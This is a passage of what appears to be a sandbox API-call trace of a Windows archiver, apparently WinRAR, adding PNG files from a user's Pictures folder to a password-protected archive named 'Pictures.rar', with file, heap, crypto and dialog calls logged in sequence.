lDistanceToMove=99, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0xb0e3e [0064.993] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.993] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.993] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.993] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.994] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x179b0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x179b0, lpOverlapped=0x0) returned 1 [0064.996] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0064.996] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0064.996] GetFocus () returned 0x102e2 [0064.996] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0064.996] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.996] SetFilePointer (in: hFile=0x32c, lDistanceToMove=724443, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xb0ddb [0064.996] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0xb0ddb [0064.996] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0064.996] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0064.996] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd20, Size=0x48) returned 0x28b084f98e0 [0064.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6e10 [0064.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0064.997] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc60, Size=0x48) returned 0x28b084f9430 [0064.997] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6e10 | out: hHeap=0x28b08430000) returned 1 [0064.997] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0064.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0064.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f870 [0064.997] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f870 | out: hHeap=0x28b08430000) returned 1 [0064.997] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd20 | out: hHeap=0x28b08430000) returned 1 [0064.997] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fbd0, Size=0x48) returned 0x28b084f9070 [0064.997] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9070, Size=0x7a) returned 0x28b084ed2e0 [0064.997] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed2e3*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed2e3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x63, lpOverlapped=0x0) returned 1 [0064.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f960 [0064.997] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x63) returned 0x28b084632f0 [0064.997] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0064.997] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed2e0 | out: hHeap=0x28b08430000) returned 1 [0064.997] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xc87ee [0064.997] CloseHandle (hObject=0x350) returned 1 [0064.997] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.997] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.997] GetFocus () returned 0x102e2 [0064.997] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.998] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.998] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0064.998] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0064.998] GetFocus () returned 0x102e2 [0064.998] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 1 [0064.998] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.998] FindFirstFileW (in: lpFileName="H6PwCN3oyZKOwFQ.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eea30 [0064.998] FindClose (in: hFindFile=0x28b0c0eea30 | out: hFindFile=0x28b0c0eea30) returned 1 [0064.999] CreateFileW (lpFileName="H6PwCN3oyZKOwFQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\h6pwcn3oyzkowfq.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.999] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.999] GetTickCount () returned 0x26288 [0064.999] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.999] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.999] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.999] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.999] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="gTXyE1NkEEb.jpg") returned 15 [0064.999] SetWindowTextW (hWnd=0x102c6, lpString="H6PwCN3oyZKOwFQ.png") returned 1 [0064.999] GetTickCount () returned 0x26288 [0064.999] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0065.000] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0065.000] GetFocus () returned 0x102e2 [0065.000] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 1 [0065.000] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.001] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.001] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.001] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x1eb)) [0065.001] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.001] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15632952118) returned 1 [0065.001] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x18d03, lpOverlapped=0x0) returned 1 [0065.001] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b724d43, nNumberOfBytesToRead=0xe72fd, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b724d43*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.001] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.001] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.001] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f660 [0065.001] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0065.001] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f9c0, Size=0x48) returned 0x28b084f9430 [0065.001] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.001] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0065.001] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9c00 [0065.002] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.002] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.002] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f630 [0065.002] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0065.002] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f9c0 | out: hHeap=0x28b08430000) returned 1 [0065.002] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f630 | out: hHeap=0x28b08430000) returned 1 [0065.002] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f660, Size=0x48) returned 0x28b084f9110 [0065.002] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9110, Size=0x7a) returned 0x28b084ece60 [0065.002] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9c00 | out: hHeap=0x28b08430000) returned 1 [0065.002] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ece60 | out: hHeap=0x28b08430000) returned 1 [0065.002] GetTickCount () returned 0x26288 [0065.002] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15633055075) returned 1 [0065.002] GetTickCount () returned 0x26288 [0065.002] GetTickCount () returned 0x26288 [0065.002] GetTickCount () returned 0x26288 [0065.002] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.002] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.002] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.002] ResetEvent (hEvent=0x344) returned 1 [0065.002] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.004] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.004] ResetEvent (hEvent=0x344) returned 1 [0065.004] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.007] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.007] ResetEvent (hEvent=0x344) returned 1 [0065.007] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.013] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.013] GetTickCount () returned 0x26298 [0065.013] GetLastError () returned 0x0 [0065.013] SetLastError (dwErrCode=0x0) [0065.013] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0065.013] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0065.013] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.014] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.014] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15634290097) returned 1 [0065.014] GetTickCount () returned 0x26298 [0065.014] GetTickCount () returned 0x26298 [0065.014] GetTickCount () returned 0x26298 [0065.014] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.014] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.014] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.015] ResetEvent (hEvent=0x33c) returned 1 [0065.015] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.016] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.016] ResetEvent (hEvent=0x33c) returned 1 [0065.016] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.017] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.017] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.017] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.017] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0xc87ee [0065.017] SetFilePointer (in: hFile=0x32c, lDistanceToMove=103, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0xc8855 [0065.017] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.017] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.018] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.018] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.018] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x18df0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x18df0, lpOverlapped=0x0) returned 1 [0065.019] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.019] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.019] SetFilePointer (in: hFile=0x32c, lDistanceToMove=821230, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xc87ee [0065.019] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0xc87ee [0065.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0065.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0065.019] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7b0, Size=0x48) returned 0x28b084f9bb0 [0065.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0065.019] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.020] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9430 [0065.020] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0065.020] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.020] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0065.020] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0065.020] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0065.020] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdb0 | out: hHeap=0x28b08430000) returned 1 [0065.020] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f9c0, Size=0x48) returned 0x28b084f98e0 [0065.020] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ed130 [0065.020] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed133*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed133*, lpNumberOfBytesWritten=0xf00f8d8070*=0x67, lpOverlapped=0x0) returned 1 [0065.020] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0065.020] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x67) returned 0x28b08463520 [0065.020] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.020] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed130 | out: hHeap=0x28b08430000) returned 1 [0065.020] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xe1645 [0065.020] CloseHandle (hObject=0x350) returned 1 [0065.020] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.020] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.020] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.020] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.020] FindFirstFileW (in: lpFileName="H7Jzn2.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee910 [0065.020] FindClose (in: hFindFile=0x28b0c0ee910 | out: hFindFile=0x28b0c0ee910) returned 1 [0065.020] CreateFileW (lpFileName="H7Jzn2.png" (normalized: "c:\\users\\fd1hvy\\pictures\\h7jzn2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.021] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.021] GetTickCount () returned 0x26298 [0065.021] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.021] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.021] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.021] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.021] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="H6PwCN3oyZKOwFQ.png") returned 19 [0065.021] SetWindowTextW (hWnd=0x102c6, lpString="H7Jzn2.png") returned 1 [0065.021] GetTickCount () returned 0x26298 [0065.021] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.021] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.022] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.022] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.022] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x1fa)) [0065.022] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.022] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15635046995) returned 1 [0065.022] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x1404c, lpOverlapped=0x0) returned 1 [0065.022] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b72008c, nNumberOfBytesToRead=0xebfb4, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b72008c*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.022] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.022] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.022] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0065.022] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0065.022] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9bb0 [0065.022] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.022] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.022] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9c00 [0065.022] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.022] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.023] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0065.023] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.023] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0065.023] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdb0 | out: hHeap=0x28b08430000) returned 1 [0065.023] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f9c0, Size=0x48) returned 0x28b084f9520 [0065.023] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9520, Size=0x7a) returned 0x28b084ece60 [0065.023] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9c00 | out: hHeap=0x28b08430000) returned 1 [0065.023] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ece60 | out: hHeap=0x28b08430000) returned 1 [0065.023] GetTickCount () returned 0x26298 [0065.023] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15635150620) returned 1 [0065.023] GetTickCount () returned 0x26298 [0065.023] GetTickCount () returned 0x26298 [0065.023] GetTickCount () returned 0x26298 [0065.023] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.023] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, 